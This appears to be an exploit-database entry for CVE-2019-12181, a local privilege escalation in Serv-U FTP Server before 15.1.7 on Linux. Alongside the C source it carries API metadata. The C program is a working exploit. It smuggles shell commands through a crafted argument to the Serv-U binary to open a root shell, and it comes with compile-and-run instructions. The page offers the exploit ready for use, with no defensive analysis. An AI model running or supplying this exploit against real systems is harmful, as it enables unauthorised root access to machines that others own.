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"Serv-U FTP Server < 15.1.7 - Local Privilege Escalation"

Author

"Guy Levin"

Platform

linux

Release date

2019-06-18

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/*

CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation 

vulnerability found by:
Guy Levin (@va_start - twitter.com/va_start) https://blog.vastart.dev

to compile and run:
gcc servu-pe-cve-2019-12181.c -o pe && ./pe

*/

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

int main()
{       
    char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
    int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
    // if execv is successful, we won't reach here
    printf("ret val: %d errno: %d\n", ret_val, errno);
    return errno;
}
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47009/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/47009/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47009/41415/serv-u-ftp-server-1517-local-privilege-escalation/download/", "exploit_id": "47009", "exploit_description": "\"Serv-U FTP Server < 15.1.7 - Local Privilege Escalation\"", "exploit_date": "2019-06-18", "exploit_author": "\"Guy Levin\"", "exploit_type": "local", "exploit_platform": "linux", "exploit_port": null}
                                            

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